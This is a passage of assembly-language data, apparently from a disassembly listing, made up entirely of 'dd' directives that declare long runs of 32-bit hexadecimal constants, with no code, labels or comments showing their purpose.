32C21EDFh, 0CB9576E5h dd 16F724D5h, 5F707841h, 5B6BC009h, 0B6B49DBBh, 0D6173F43h dd 79AF4E36h, 0B1249E1Ah, 0B1A5F113h, 0C37486ACh, 35F1C779h dd 76FDB823h, 0E6E8783Eh, 2AB5EE08h, 548AAF7Bh, 0BB86EDE1h dd 8DF863F7h, 601DD435h, 50AB8B5Eh, 4032AE94h, 0B8902C7h dd 9BBD11F4h, 0DB51394Fh, 242C4E25h, 0D8B671E9h, 0FA1A3C08h dd 0C55C3117h, 4A47F3EAh, 0B953F35Ah, 0C3BF378Dh, 854BECADh dd 0D675B0A5h, 9C31E3E7h, 5A6B1E84h, 8BFD306Ch, 51B820B4h dd 7E4A1D85h, 763C5F7Eh, 7DC3979Eh, 1B3FCA78h, 0FECA2BCAh dd 788102A6h, 0EB2DED55h, 0F2DFBA38h, 1D351F20h, 2A3B6A23h dd 511E7CAFh, 7663694Ah, 0AC7A26CAh, 8CD11D79h, 7B35EFF0h dd 0FE82D9EBh, 9039C07Ah, 59A62C09h, 0EEC7E986h, 52F73A7Bh dd 4DDD8494h, 0C25355D9h, 0A74C50D7h, 0A61393B3h, 0EB367AB8h dd 0A3C70328h, 94CB5DA0h, 2C20DB08h, 23D4AAE5h, 62ABADh dd 8245B16Ah, 0C649802Fh, 296A1AA3h, 2146B6Bh, 499B7ED1h dd 43A55A00h, 7EDEAA9Eh, 4C049642h, 9BEA44A1h, 0EDCCFA05h dd 3BFAEF42h, 3077461Eh, 3F42FAB3h, 150A6911h, 0EA0F887h dd 9AF083D3h, 6971AC02h, 7A45C128h, 0B575D978h, 0B68B20Eh dd 0E2B34CA8h, 0F17178E7h, 80490025h, 0FC8D68Fh, 0CC607FBEh dd 0EFF306DCh, 0E4446608h, 0D3F49750h, 4E329DE1h, 27B1BD6Dh dd 0DD1F77AFh, 8F717AB7h, 3EFAA21Ch, 709461A5h, 24917004h dd 998A348h, 0FB5C249Ch, 57AAE93Bh, 8BE1CEFh, 9008C138h dd 0E695250Bh, 945E0A10h, 59C92A9Ch, 5425CBF7h, 50F0799Bh dd 0D0D4E2B2h, 5B924119h, 0D807342Dh, 0BEB61E60h, 7ECF66BBh dd 0D35B0EE8h, 0AAF987C3h, 78CDC4F1h, 0FB0F86A9h, 496A9D38h dd 0B5203F7Fh, 23B04DC2h, 9A46AED6h, 1EFC362Bh, 8BBAACDAh dd 0C304996Dh, 0C833CBF0h, 0B143A68Fh, 0B1BDE457h, 0B57A9C5Bh dd 299AEB0Dh, 697823ECh, 0B9F6CD47h, 58F39950h, 26A514D8h dd 606E1B3Ch, 44E4F16Dh, 0BD1E4070h, 14A67AC5h, 151215D2h dd 0EE267B59h, 275421A5h, 41337B15h, 7863C51Ah, 3268A8Bh dd 1093FBA7h, 6D917ACDh, 0C9AC4B35h, 2DE366FAh, 1C5B4A89h dd 100C1636h, 2C95C4A9h, 3FA0F7DEh, 18D2A657h, 76D3EF97h dd 82B3D9AFh, 6764540Ch, 0FEC85E0Ch, 0F9854775h, 7AC01BAAh dd 12104F4Eh, 3719D693h, 0D41C47D7h, 0D5205407h, 290DBDDDh dd 78312A26h, 0CA436C4Ch, 0A2E86C6Eh, 3251EC2Ah, 0BAFA48EEh dd 0F2BFF624h, 2FC82761h, 13685EB5h, 0F3EA16B7h, 3C773B7h dd 5B2C9F90h, 404A11B0h, 0BF658DEDh, 37722E09h, 7DDFA1Fh dd 3BD9A86Dh, 1985A11Ah, 9CF2977Bh, 14623FD7h, 32E55777h dd 3A5F0118h, 0CE998596h, 45B45E3Fh, 0AAF946FFh, 9F216DFAh dd 0BF8F2894h, 21BD5FC5h, 0E0AD9A81h, 9512E7D4h, 0AA2478EEh dd 4848D444h, 0E90117D2h, 0B8A4DAFh, 0FBFBAA92h, 0BBF0297Dh dd 85BE0868h, 0C5F5F6FDh, 0CEFE5BE8h, 0CB8BE0E1h, 2DBEA0D5h dd 0E540305Bh, 0BD1A0B2Ah, 7FDD0D2Bh, 54C91239h, 6106360Bh dd 0DC8C5284h, 0D87FA0BBh, 63EB4296h, 1125B269h, 29211D6Ch dd 656619A3h, 0F5CCA01Bh, 77BF81F2h, 0C37A7C19h, 0B59AD7EBh dd 8BF5AC4Fh, 0E659AD12h, 44A6BC1Bh, 0A9EDC8F8h, 5CC19601h dd 4CB46FDCh, 49ED88B4h, 0F3A865B2h, 0ACBAF015h, 9EF59846h dd 40AEA938h, 66C1CB42h, 25875D8Bh, 0EE67AB19h, 0D5E4D82Ch dd 0EB5A28Eh, 9A51E812h, 0C6833B59h, 9B6A36E8h, 6C4928Dh dd 9CFA3AF5h, 4D3F2AE5h, 0E40E3269h, 0F59AB2D8h, 2925E36Ah dd 0DDA5CDCEh, 78BEA9AFh, 1C3993F0h, 5EF6DD65h, 0B34A17D7h dd 0D465A7E7h, 35A2E47Ch, 0E8108E49h, 0E00ABD12h, 320CC7B8h dd 69FF427Bh, 0F498E4B6h, 217C0D43h, 0D0C43258h, 0BC22D95Bh dd 0BAA9404Eh, 5FF39303h, 0E04DE5F0h, 0EA7E9099h, 67A9FF50h dd 80D1C8E9h, 4612D333h, 0C1C3CC37h, 0ADDC9C5Dh, 92205179h dd 5D8A14E3h, 86D0E78Dh, 6AE2D38Fh, 84756E5h, 2CB13712h dd 94BDAF19h, 14F8F46Eh, 0FCADE1E3h, 5940CB1Ch, 0DEE8452Dh dd 84D9DDCAh, 22F465D0h, 0BEFAD0F5h, 77D7A2D2h, 9320A120h dd 7A09BF7Bh, 244BD906h, 9BB28CD5h, 1683F301h, 0DC029CBCh dd 0DEFEC868h, 29E0216Ch, 0E58B89B7h, 972585B9h, 44707C2Bh dd 631FDE41h, 47057D4Fh, 403DDC2Ch, 28AFEE2Bh, 9FC5626h dd 3F847E1h, 2A44353Ah, 8B2049Fh, 1A6A186Eh, 15CFBACDh dd 0DA4C923Eh, 0AECFC1B0h, 50D814C9h, 0FC3DC4C6h, 0F153D97Fh dd 39F13FF9h, 2AA9446h, 7F9D2D1Ah, 0E708338Ch, 0E56A4729h dd 0FD1C01F6h, 5334A210h, 0E20F960Bh, 6E0746C0h, 9995C98Ch dd 53F09C98h, 9E2851A7h, 0CB1A0793h, 0DEB070FBh, 23233F37h dd 0DF43108Dh, 0F1B28859h, 11BBB575h, 0E5B8F950h, 61E3301Ah dd 0EF299678h, 11DA6C4Ah, 50E119A2h, 4EEE6EA7h, 3802B2DAh dd 97A67C52h, 0EDC1C106h, 0C8E05303h, 0FC973566h, 0F46B6451h dd 0FE0434BAh, 0B312553Bh, 0F595668h, 0FB41E0FBh, 7DDEB377h dd 87E1D3B4h, 76450D7Ah, 900022ACh, 5FF071DBh, 89A1EB5Fh dd 0E678478Bh, 41E2CF93h, 7E09B490h, 2811A7BCh, 0A9B176E4h dd 0CC9F1030h, 0C4AE45B8h, 0CBF7716Fh, 6B48256Ah, 3589C02Eh dd 0DE35E3BCh, 88DAED0Fh, 4079A362h, 0B4666E4Ah, 412A2AB1h dd 0E5096D83h, 0F85DD29Bh, 9F79560Ch, 1CB819CFh, 0C0073E41h dd 0CE0FA1A8h, 0A5F432FEh, 1C9DF569h, 5BBD2534h, 0A6D6CC4Ah dd 0F0F883ECh, 0B74A063Bh, 0DC57D9ECh, 0E6716434h, 847CF053h dd 5EF7B2F1h, 0AAE43865h, 9F4E12DAh, 711C379Bh, 0C00F39E2h dd 454686BBh, 0CFD1C9AFh, 0B8F6DEB2h, 4BC797AEh, 4474EBF4h dd 0A07A2F92h, 65D060C1h, 0CF27DB3Fh, 8126D99Bh, 48CFC19h dd 3CDDFC49h, 4019E8A9h, 38682BC1h, 0F971E4AFh, 0F94605C7h dd 3E9AE332h, 0E2F32FC0h, 0CEA881Dh, 0C3D2D955h, 0C7FA3A9h dd 0AC1AB0E3h, 2D11F97Eh, 0B0CD688Eh, 0D6568205h, 77264088h dd 96F5E6F2h, 4BCE40DBh, 0CCF806CEh, 547D6052h, 28165041h dd 8F576817h, 4F7093BBh, 4F9842FCh, 44C3431Eh, 1234109Fh dd 4A0FC4DDh, 37CC7FE1h, 0E257F360h, 46993F8Eh, 0D386FDBh dd 82007A41h, 42ED0CC2h, 0F8A7AFB9h, 0B9F1BC8h, 0BC01E7E9h dd 987987F0h, 0AFE55D4Fh, 69EEE189h, 77F28F46h, 1D2525D4h dd 0EFE6EBB8h, 7833E77Ch, 0D0EB02F6h, 829CD24Fh, 0E9A4F1AEh dd 39A7D1FCh, 72FBD857h, 91C9A444h, 38137C5Dh, 706543BAh dd 2CE8FB32h, 23FBA660h, 0B712E9E1h, 0C8B09D7Ah, 0C4D91995h dd 1D27DEBh, 49D239C4h dd 8DFF15C4h, 6E7BA8A0h, 18A14529h, 0A5BB234Ch, 4C2D35C0h dd 4F785C73h, 1B28C2C9h, 21C6E08Eh, 6C871F5Dh, 35B50F60h dd 0A260643Fh, 70794579h, 83956913h, 939A803Dh, 98820E02h dd 120C2C84h, 2C1A1AC6h, 0DF425FDBh, 12DFF635h, 0A5AF0F11h dd 0BC45C1F7h, 7B79554h, 0D31C1CCEh, 613C1666h, 6CA9E03Fh dd 0B9F25DB7h, 65336DA2h, 39A9DD18h, 9FE9D2F6h, 78D1841Fh dd 9958BC24h, 0E4CA9AF1h, 86EAD623h, 0D0F4A45Ch, 0A5AE76D1h dd 720B5D12h, 0F7C5D71Eh, 673A985Dh, 0F21EAE27h, 3D8F5319h dd 8E83DF5h, 590C59BFh, 856021C1h, 4D33CC49h, 0DECE22CCh dd 0AF0D87DAh, 44A35E0h, 9D11BDB4h, 0F01D7495h, 9A29BCDh dd 966810E8h, 7D8FF81Bh, 0CBACF54Eh, 0EC859369h, 0DF7C9AC2h dd 2D38A792h, 20B4754Ah, 0CF76BA78h, 707EF40Eh, 2B5E3155h dd 0FE0059B0h, 0BBC6A032h, 2ADB8EF9h, 9FDE2CCAh, 0ECC23AA9h dd 0FEE62531h, 504370E0h, 0B3DEA2F1h, 61ECA701h, 440FA2C8h dd 4EE03B4Bh, 87366D0Ah, 0AFD1DFF8h, 0C4B83198h, 3C5A5196h dd 0A784B77Ah, 692B03Dh, 0A93B1F5Fh, 418AB08Ah, 0C85E91EBh dd 0B6A404CCh, 3563702Eh, 0E27DC6BAh, 45AA07F0h, 6DCFA642h dd 9D4D7C78h, 0C022B765h, 0D6F5CA8h, 0C54DA037h, 0EE0CE3CFh dd 0D7AA9A3Dh, 7D44C2h, 9D9C8BA9h, 1FE15F35h, 8D387517h dd 6552EACh, 0DEBA9D27h, 0C1D03A5Eh, 152650DAh, 525A2F9Fh dd 0E68E6209h, 0BCFD679h, 4E2CB3ADh, 4728188h, 447015DFh dd 6ABE2212h, 6872EB35h, 0ECBC9D7Fh, 0F50722FCh, 0EB814BD8h dd 0E9F90C7Eh, 0F4AD5766h, 0E1BBF015h, 1F868F24h, 2B800136h dd 0A9C1E256h, 92524477h, 20B8996Ah, 0D342174Dh, 7A6222C5h dd 7E53D223h, 9B3F7A82h, 0E0AE8C2Ch, 0A68C4ECAh, 9B72A734h dd 97D472BCh, 575AEFF0h, 0AA526058h, 0F828A205h, 0B54C26CCh dd 46D0E9EAh, 331282BFh, 0A7384E7Ah, 2B4337A8h, 0BB4C05A0h dd 0E090B7B3h, 6B893A94h, 944846C0h, 9F96EFDFh, 0F9AD5E86h dd 0C3248461h, 3E0A92C8h, 5EA7854Eh, 0BC905122h, 93D4DBECh dd 8FC95B13h, 0BBB6F5A8h, 76BCEB92h, 8E5991E1h, 0B0CAA53Ch dd 0AC6322B5h, 40776E98h, 14519052h, 0E526D177h, 60E9AB95h dd 7D64AB10h, 32C7791Dh, 0CC728A3Eh, 6A28A703h, 68434459h dd 338DEC9Ah, 0E68C7D4Eh, 0A4A922F9h, 5EACEF5Fh, 886D7445h dd 5F896516h, 0AEC6E1CCh, 18835C42h, 96829C2Dh, 0D97A9CD7h dd 8A90BEE5h, 4BFAB2BEh, 9C6AA1B0h, 9812C27Ch, 0C9225BCEh dd 0E4577BF3h, 0CF2E3408h, 0E72E943Bh, 81AAE36Ch, 0B25DBC84h dd 13F70B51h, 5842FF2h, 742744A3h, 0FE439BE3h, 5D8A4C7h dd 8E8FDE1Eh, 0DB196480h, 0AEFD78h, 93DF7B8Eh, 3FCBD3A2h dd 0B82DB7ABh, 54D09AA4h, 251A3529h, 5B023FF6h, 5A239EDAh dd 0CBC69E5Ch, 4A77D151h, 25B67FF3h, 0D81A61B3h, 31CE53h dd 9579593Ch, 0C62C1090h, 0E294CD95h, 92A5CD16h, 66C0B2D0h dd 7C1C7E1Ch, 0A4A14F69h, 81885EF7h, 78B3A46Eh, 0ED06E30h dd 0C30300DDh, 0BD305384h, 53FC9A33h, 75568AF1h, 4039EAEEh dd 0CF2FDEF0h, 0ACFB5811h, 9514BBEh, 0B1AB4D89h, 19E634E6h dd 60CFB029h, 9FF5F826h, 0BF4F2373h, 28E653EBh, 438EAE1Ch dd 0FBD7399Dh, 0B8175A9Ch, 98F370F9h, 50940AB0h, 0BF144328h dd 0A431F5AFh, 0EC166DDEh, 48A876E8h, 10452EE0h, 20FA2FC0h dd 6D866C3Ch, 0E2F8EF48h, 30FA687Eh, 893B404Fh, 94223A2Ch dd 2C0BCC4Bh, 0E6B4B433h, 9D4075DAh, 76B44C0h, 7EE0A5FFh dd 0C9D1F06Bh, 6A5BEB48h, 9ED6DF4Eh, 0AE7F9D57h, 4F357331h dd 2B644D30h, 0DE98DFFAh, 0C54ED97h, 0EAF86AA2h, 8137844Ah dd 914CEEA2h, 0A0A386BBh, 531105D4h, 516C5A18h, 0F033A033h dd 3F714298h, 48EEA6F4h, 5578539Bh, 46B3E481h, 0F4B851FAh dd 0FD3FD06Ah, 9EC4151Ah, 126EBA14h, 25D13188h, 31C4ECD8h dd 0FC94BBE8h, 0AE2CAB34h, 9F5C5E7Bh, 7A81C7EFh, 7B688392h dd 8751F6CFh, 2611D2F0h, 0D30B0C34h, 6140A93Eh, 293D8E6Ch dd 16B6D48Ah, 26E022E1h, 0C71AA039h, 2B7F929Fh, 7CC72E9Ch dd 0D0894A5h, 94AB1D7Fh, 1C9250A5h, 0BF795ACEh, 0BFA28979h dd 1AB0D958h, 35F65907h, 6301A089h, 8199C5E6h, 0EA30300h dd 24BB5ACFh, 94F836B5h, 13472263h, 0D2B8D2C4h, 82D59501h dd 75E8A021h, 0D37C5E81h, 41A27996h, 0CFF0349Eh, 62293898h dd 0E6E4DD33h, 520B9739h, 56194C37h, 1F936BBFh, 0B0BF5DE1h dd 1EA01CAFh, 38DC728Fh, 1AE48553h, 3331E31Ah, 0E3993425h dd 83AC5032h, 5AD2E03Fh, 0D8E98AAAh, 225336CBh, 0CB19DD66h dd 0CC3D3730h, 4039842Fh, 7F8098CEh, 5A09E111h, 0F77E6FEAh dd 3762447Ch, 86589892h, 0BFCE0894h, 0CE61BC48h, 3E6EC262h dd 0A77F1884h, 0B666E74Bh, 2A814688h, 0E1410FAh, 0C82F9DDFh dd 56A8011Ch, 12D6783Ah, 0DEA003BBh, 982150CDh, 0FE2AC399h dd 0C17BAC12h, 0C171C2E4h, 0D982EBD3h, 7F435E66h, 0B1842C0Ch dd 0DFBFFAF2h, 0D809C50Fh, 77AF7A1Ah, 1097D60Eh, 1A304ABBh dd 0C1F58B3Dh, 0C5F50CA3h, 8B38091Dh, 0CAEB92Bh, 8E68A7D4h dd 0BD2F47B0h, 83B34C86h, 40C61666h, 725AD84Eh, 2F9E1441h dd 635FADCh, 71A10127h, 6428C0B6h, 34189AE7h, 361A4CF5h dd 0ABB9C93h, 0B73C2EDDh, 4F5C4C2Dh, 0BD68CAA0h, 0A4C66300h dd 8E537BF9h, 5F0D00AAh, 25DB1841h, 553BC661h, 0B4CAED14h dd 557223C2h, 2584B445h, 56427ABCh, 473733BDh, 0D351E32h dd 6A00D0DDh, 96E90198h, 0CEA42F69h, 572740F8h, 0A26E1948h dd 5CFD4CF4h, 0BEA3146h, 7F5D85D3h, 0A8B7CE7Ah, 6FD8AB9Ah dd 0B820FF6Ah, 0C0581391h, 6F0267Fh, 78B2010Ah, 0F5635BE2h dd 0FA84A200h, 0EC81A545h, 0C892564Dh, 89522CA0h, 64592136h dd 59E0A939h, 6C9A128Dh, 0B744EBFCh, 0F7603252h, 0C2EEBCCFh dd 235CFC83h, 2A23EF14h, 7F007F8Bh, 9055CC33h, 2E9717CEh dd 0E274F22Dh, 90AE9712h, 6745518Dh, 7DBBCF7Dh, 252F8543h dd 9186A0A8h, 0D5438BDCh, 99A957DFh, 0A9F33570h, 6889AF51h dd 2BABE6CDh, 6078A4E8h, 0FE021135h, 7E70DA80h, 4FDF83Bh dd 74149538h, 0F6903AC8h, 9D3F147Ah, 7764E1FDh, 0D576EA75h dd 94EACB55h, 0C9F5CB77h, 43372771h, 8CB1BB0Ch, 7562BF7h dd 15175885h, 7894D53Dh, 2F9CB21h, 3AAE7AAh, 1541DB4Ch dd 480B63E4h, 932C9864h, 0B88B9D5Eh, 7CCBDFB4h, 52C08C24h dd 0C5EC4335h, 214932AEh, 0C7DF8FBh, 5C5A038Ch, 3B077B69h dd 4EB26781h, 1472209Fh, 45F8C0C1h, 67697069h, 19413745h dd 77E3FC64h, 0E24A7369h, 9CFEE56Ah, 0FF0B3CC9h, 0D4D9CBD9h dd 95484DE5h, 4A7F5F6Eh, 7E26BF28h, 0C6B6C962h, 0D55E67A7h dd 77A3D1C7h, 22ABE084h, 0C4406118h, 0C4276BC7h, 9B6DF00Ch dd 405075ABh, 0FCE08E23h, 0A4B0178h, 0DAD0B44Dh, 0EF8D6CF6h dd 0AD20B7F1h, 61EAEF33h, 72969CE1h, 0C1EF42CCh, 28538EAAh dd 0AFF819AAh, 0A5B2B82h, 0EA80AE26h, 0D1568464h, 0E61534E3h dd 23F46AC3h, 384B1BD4h, 0E97D6903h, 44B0F5EDh, 76B28B2Ch dd 1AC45599h, 82FCEAD0h, 12F900E7h, 9CBC0502h, 0EA668B20h dd 3555FDF3h, 0F470E358h, 37E6A334h, 2723B91Bh, 9875CCEBh dd 0FAE3D1EEh, 0A46F5772h, 119DCAA6h, 31C08165h, 8B30DD94h dd 9FC7C74Eh, 0EDBC18D0h, 1711ADh, 9F5D4AAAh, 2A2131AEh dd 0F88F2DDEh, 5F038DF2h dd 912E0946h, 0BD6B258Ch, 0A8312E52h, 3BCF6981h, 66F2B40Ah dd 0CEA1C27Bh, 0F7708D4Ch, 811B0CC3h, 1F20A7B9h, 0F6DAD09Ah dd 0B4196625h, 293F0E40h, 0BE639FE6h, 0BA97E0E1h, 0B82C269Ch dd 8CEB8EBBh, 93FAEB17h, 8DF96D7Eh, 0B6FC988Eh, 0C1CC938Fh dd 0EB6EDA22h, 43E0F10Fh, 4B1EEA55h, 37049400h, 0F4167E38h dd 0CB278665h, 88140C35h, 18A9560Eh, 27BA0563h, 48D68F24h dd 0FA50B42Ch, 389F6A17h, 0ABC724D5h, 0F977A80Ch, 34844F66h dd 2219F1C8h, 7184D7B6h, 9ABBC284h, 952F18FEh, 260C7506h dd 0D230E874h, 6BC5832Ah, 90A15384h, 0FA60C4D1h, 6B4CB796h dd 21B06C12h, 0B3E739F3h, 0C8B64BDBh, 0D943AE17h, 0D6C23CDFh dd 15E9D629h, 33153C64h, 0FBDA347Ah, 0C6A69A82h, 0FC9FA0EAh dd 99C6CE42h, 9480DB2Eh, 1EF81A8Ah, 9E3A131Ah, 3194C423h dd 8B070511h, 9E7D8843h, 6B369BA1h, 3B6C24Dh, 969B56ECh dd 995B7DD5h, 0E8A1A978h, 3A469BE9h, 6F7019D0h, 0ABA1A143h dd 4A8FF599h, 2BD350FBh, 0B21E8857h, 9176ACE7h, 205D34EBh dd 0E73FB7D1h, 24BC6F51h, 70E3FA4Dh, 0E9F126E3h, 0B0D57AC9h dd 9806244h, 822A37FFh, 8C5EDE0Eh, 0A6578776h, 18E55E6h dd 2C993EC1h, 1427EB58h, 4D1F517h, 2DA4D1C5h, 67826C38h dd 0EC89E28Ah, 0D1CB1919h, 0EDFE1DD6h, 0BA6E8FDh, 0D2D55F7Ah dd 334D2992h, 4BF9E5D8h, 0DF7B0029h, 7137E65Dh, 83E83DD4h dd 796C734Ah, 0BE4881Bh, 5B1BF268h, 0D777E5C2h, 94923CA8h dd 5A7AE0D6h, 0DDBFBF87h, 39D32D4Ch, 0CB004A55h, 0E47118DFh dd 0E49FECC9h, 7ECD1A4Eh, 0E8CEA24Bh, 442A86E3h, 20327D21h dd 5CF5607Ch, 0BFE1A6D3h, 7A02C8E3h, 2B31B98Ah, 0C23C537Dh dd 55F07DDAh, 3C60193Eh, 0EEE28FD8h, 0C14E7899h, 0B64BC941h dd 8CCBEF6Bh, 0ED951F9Eh, 79B7E095h, 0DB697150h, 0F1C6576Eh dd 8DE62EAAh, 3D6A3980h, 503857C8h, 3FA36B83h, 0E41D1BECh dd 0F55B76E9h, 0B7D5136Eh, 70F02AE0h, 42BB5E44h, 0A88F7A7Bh dd 0BC91F10Eh, 1B12B5B9h, 21098989h, 52CF8B33h, 13EDC3A0h dd 89AF82FAh, 0FD9E7752h, 0F0A766B2h, 0F6DACDCFh, 902A3462h dd 20B4B965h, 500051FCh, 0BE4FAD17h, 9E610D88h, 580ED5E6h dd 0D3FE9D9h, 0E9EDCA3Fh, 6468E655h, 0B1A52546h, 0F3828E94h dd 9729D5D0h, 1D2CCE2h, 566479DAh, 0B7A1DE8h, 0DD0F5CFCh dd 5646FB85h, 6EA4110Ch, 0BB3F75C3h, 0D82D8B30h, 1D7D0B28h dd 0CECA9EB8h, 1A298AD5h, 0F7BF5A73h, 61D5BE85h, 520CBAE3h dd 0FB0AC394h, 55FB6FD3h, 0E6817E4Eh, 0F2B19D71h, 1D99F3B7h dd 0D060A19Fh, 920D7EB4h, 45F94124h, 2E5CF320h, 0FC4579FCh dd 552A5E73h, 9C0E9019h, 6DF1E950h, 4C4CF8DCh, 4D9BA13Eh dd 0A037CD34h, 0B9D7F93Ah, 5F9BA5B6h, 9B30262Ah, 687506D6h dd 199ADC43h, 414143F6h, 2C458475h, 3838DB2h, 0F0E1C07h dd 28ED2C07h, 8465D81Fh, 697188D1h, 54D3F537h, 0D7D17CFCh dd 1A9045CBh, 44B7C324h, 0B50AF523h, 432B8619h, 0C41960EAh dd 0B0D47994h, 544E55C0h, 19CA6947h, 3DC927D6h, 95BC3B97h dd 0E374FC22h, 539625C9h, 5D801271h, 688662B6h, 0C16CD024h dd 0C100D5E4h, 0DA59DE91h, 0A2DA993h, 0B68C0EDh, 3F9F205Eh dd 82FA2B1Ah, 14A14C84h, 2A3B0836h, 43F4DEBh, 99A225FBh dd 3513EC9Bh, 34AAB4A1h, 52E503CCh, 2AF9AC4Eh, 9D985A1Dh dd 0C29C715Eh, 752B9FEEh, 0B1AC38Fh, 0AB9B304Ch, 8EC446D8h dd 18CBF9BDh, 55661182h, 0C3AD1EDAh, 53557957h, 0FADFBDB3h dd 263B975Fh, 0C396554h, 761C1D45h, 83ECACBFh, 0C88580ACh dd 0F12C6F80h, 23209F2Ch, 62F24129h, 0A5190911h, 8C921797h dd 31E7F06Dh, 0F9172FD7h, 67C2D173h, 7E5C05EFh, 0A4FFD71Ah dd 3FAF9CEh, 673DC52Dh, 76DF11A5h, 0FD54368Bh, 2A1034DFh dd 0B782B242h, 0BDEBF31Bh, 8AE70456h, 198E0AA3h, 67EB6CCh dd 71EE1187h, 43B2B4FAh, 94033Dh, 533202Eh, 306D72A7h dd 502AC023h, 0E086B5EFh, 461D0BD8h, 6A122BA8h, 0EA9EDEBBh dd 30024CB9h, 3683F3F6h, 0E002E36h, 0BD4A10CFh, 0FC0E77B8h dd 767D523Dh, 0A97528D4h, 0FCF9345h, 585C94AFh, 764F5305h dd 0DDEB6185h, 0CF7C4A44h, 760CC0E8h, 0B6DABBEAh, 0D99EAAD3h dd 6D96D287h, 8D9B71EDh, 0A51732C6h, 9E2DA041h, 4F74251Fh dd 65D7DEB9h, 78A9D0B3h, 0CAF5E8FAh, 8273114Eh, 6BF6CE5Eh dd 889AA982h, 2588D162h, 4E1BC135h, 0D78E65CAh, 7F365ADAh dd 61555A51h, 0CE261ABEh, 937EC435h, 4D58D510h, 0E078F7D6h dd 54ACE461h, 0C980234Ch, 37617EF8h, 0E7C2ADCEh, 0D9B9F493h dd 3004F3C7h, 9B1A8377h, 0F97DA9F4h, 1F7CB755h, 0B2DF7299h dd 0F3113C4Ah, 21A3BC2Bh, 0CF08413h, 484C8070h, 0E14476C6h dd 612AC9A7h, 0D98FE74Ch, 7F102D34h, 0CCDC1ECFh, 59EEAFDh dd 0AE5B005Ch, 1A9B6906h, 257BCBECh, 61329F9Dh, 92020343h dd 96048B27h, 5799DF01h, 0C8F0898Ah, 53253B4Fh, 0E920DAECh dd 0D982891h, 8A9286D9h, 1E8252AEh, 869F946Bh, 9D0A17F8h dd 5B53B5ABh, 29B99469h, 0F1A563EAh, 4B54C8D1h, 3BA5AAFCh dd 1B7C69CDh, 771ABC3Dh, 98191894h, 693E91CFh, 3AB37B22h dd 43034179h, 5F90BECh, 4AA9BA2Bh, 3241F9B2h, 73D26003h dd 2C4C5331h, 175D81C2h, 72AE0D67h, 0E82F04AAh, 4A2EEBAFh dd 37685B2Dh, 6502354Fh, 3C1D8028h, 6B56CE73h, 51BC044Ch dd 0FCC71C10h, 2C3D992Fh, 10EFC1C4h, 631AD32Ch, 8EF2D62Ch dd 0D905A3D6h, 0C83CEC51h, 0B03E3289h, 0B23E8AC4h, 30B97258h dd 0C4C1EE69h, 0B546FCAFh, 0FAAB1BBFh, 0D48EE50Bh, 646D25EAh dd 750177EBh, 69A20DA0h, 1CA79681h, 0DF8E2AE6h, 5F227F7Ch dd 1E74D26Dh, 0EB4305DFh, 228096CFh, 23CF3C25h, 0B3FC1C81h dd 0E406AB94h, 0FA4852FFh, 31449409h, 9BC51B56h, 68A313D4h dd 26C119EAh, 0B4DC6FD2h, 0B90C241Ch, 3D890D3Bh, 0CA6037D3h dd 3388CA1Fh, 0F8D8635h, 0C6C34AD4h, 3B8C5AD6h, 779ED8EDh dd 0AF308CFFh, 0F228887Fh, 792CA515h, 0A6F6DCF8h, 602E86A0h dd 304BEA86h, 0D362F863h, 650241DDh, 95F09BFCh, 0F5ED6553h dd 67D94408h, 0F71D57EFh, 0B2CB99ACh, 2C5B3CC4h, 98318C77h dd 307A91F0h, 0C862FF52h, 62D18E29h, 4EA8B86Ah, 3291689Fh dd 314CE13Fh, 5D0C6A91h, 4323B48h, 0FF45CA68h, 90306762h dd 722A1E72h, 0F17533D2h, 87AE03A8h, 0E1536486h, 49F55BC0h dd 84AC644Eh, 6971D46Ah, 698D02CBh, 0C2AE43D1h, 0BE1F0461h dd 0B0623798h, 981A7668h, 509F13E9h, 3B0A0909h, 12A3A966h dd 0E8D30582h, 2B92AC1Dh, 4A3C51A2h, 0CA758381h, 0FEFEB5AAh dd 8BD475A2h, 8A34737Eh, 47DD4E66h, 5CBCB82h, 742E3FA6h dd 2E617EE3h, 0FBF0AC98h, 78D09E29h, 0AF785C63h, 0C92B2651h dd 0DBA1E67Bh, 0B40656C9h, 807AB8EAh, 0ADF1192Bh, 5FE1D7F8h dd 0ED332808h, 4065A1CBh, 5F7D7DFFh, 9E329921h, 0A0ADC4EDh dd 65752971h, 82DC2C6Ch, 26A633D4h, 0D3603718h, 0D28A5768h dd 1D1FCDF0h, 999E19Ch, 7F3003C3h, 6C294A0Ah, 323C5C6Bh dd 3459C01Dh, 0CA3725C9h, 9DB13591h, 7ECDBB0Ah, 0BF5D4EC0h dd 3A8C548h, 0B77B2A3Dh, 0CC7C44B0h, 0A29149D8h, 5A45EAABh dd 19FF6D4Ah, 53DD6DF1h, 6848097Ah, 0E309DDD9h, 81C61128h dd 0D22C46Eh, 0BB27BDB6h, 0F1633A72h, 0DFEE5DB1h, 0A1EF548h dd 0DE1A2924h, 5E13640Fh dd 0BAE34359h, 36A73AA8h, 0A8C582D7h, 3C94318Dh, 5716C7A3h dd 0E9BB6F84h, 7B1D338Eh, 5E7B4F4Eh, 1D4FA5B8h, 3E25096Bh dd 0DDADE550h, 0A402D617h, 6BA0868Ah, 8D91F3DEh, 3D08F709h dd 0E8157979h, 2EF4FDFDh, 7EAD9F5Dh, 72339D85h, 4AB7CF5h dd 0F849D16h, 6E50BE15h, 0DA1819E9h, 0A9454893h, 58BAA84Dh dd 5DB99B94h, 82836498h, 6AA1A092h, 0D397B3F6h, 0F18A686Eh dd 9792D2A2h, 0CA622657h, 0A0C59474h, 3747B40h, 0DBE76C27h dd 0DBCF63E4h, 727258B6h, 6322526Ch, 86AAF347h, 6E0B0079h dd 912491F0h, 4C463903h, 5F27EB8Eh, 0C83A20BCh, 4DF3370Eh dd 0C16DA04Bh, 32C6BD80h, 305649EEh, 8FC50C00h, 1D22280h dd 0A53E81DBh, 0C002E1C8h, 40C696E5h, 6447C9DCh, 21E50419h dd 9A8E2BC2h, 6CE4FA4Eh, 194DDC9Dh, 0F579993Ch, 73EAB988h dd 6DA7D411h, 0D1B7592h, 0B05018A4h, 0F8E91682h, 0CB3D522h dd 7283D030h, 2BFB50CDh, 0E0A2CD48h, 0D2A354B2h, 0E724E289h dd 0FB24006Dh, 809D0129h, 0FF258C2Eh, 71B23A6Fh, 65704D95h dd 1BF898ABh, 0D6731974h, 83CDB763h, 7BC6509Eh, 5B5EA6E9h dd 3DD851Ch, 6491E88Bh, 5BBA5659h, 0E2C4D5Bh, 960928D4h dd 0C55D1B11h, 0AD7C5F3h, 0DC702F81h, 6171FAE7h, 0F182C461h dd 57EA0AB4h, 8773003Ch, 5456B474h, 0DE6ED072h, 60B726F4h dd 0FB5A65BCh, 2CB8E1F7h, 0E63DE29Bh, 